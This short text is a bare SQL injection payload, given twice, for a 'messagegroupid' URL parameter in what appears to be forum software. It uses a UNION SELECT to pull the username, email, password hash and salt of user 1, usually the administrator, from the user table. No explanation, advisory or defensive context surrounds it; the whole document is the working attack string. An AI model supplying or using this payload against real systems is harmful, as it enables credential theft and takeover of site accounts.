&messagegroupid[0]=YOURGROUPID ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt ) FROM user WHERE userid=1# &messagegroupid[0]=YOURGROUPID ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt ) FROM user WHERE userid=1#
